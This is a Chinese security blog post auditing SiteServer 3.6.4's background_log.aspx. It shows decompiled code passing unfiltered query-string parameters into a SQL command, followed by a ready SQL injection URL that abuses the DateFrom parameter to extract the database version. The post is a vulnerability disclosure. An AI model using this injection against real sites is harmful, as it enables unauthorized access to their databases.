代码审计:siteserver最新版3.6.4 background_log.aspx页面

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

存在siteserver/platform/background_log.aspx

用.NET Reflector 反编译BaiRong.BackgroundPages.dll这个文件

查看代码如下:

this.spContents.ConnectionString = BaiRongDataProvider.ConnectionString; 
  
    flag = base.Request.QueryString["UserName"] != null; 
  
    if (!flag) 
  
    { 
  
        this.spContents.SelectCommand = BaiRongDataProvider.LogDAO.GetSelectCommend(); 
  
    } 
  
    else
  
    { 
  
        this.spContents.SelectCommand = BaiRongDataProvider.LogDAO.GetSelectCommend(base.Request.QueryString["UserName"], base.Request.QueryString["Keyword"], base.Request.QueryString["DateFrom"], base.Request.QueryString["DateTo"]); 
  
    }

所有的参数都没有进行有效的过滤

http://www.target.com/siteserver/platform/background_log.aspx?UserName=test&Keyword=1&DateFrom=20120101’%20and%20@@version=1%20and%201=’test&DateTo=test

代码审计:siteserver最新版3.6.4 background_log.aspx页面

作者:小新

Tags:

SiteServer漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:siteserver最新版3.6.4 background_log.aspx页面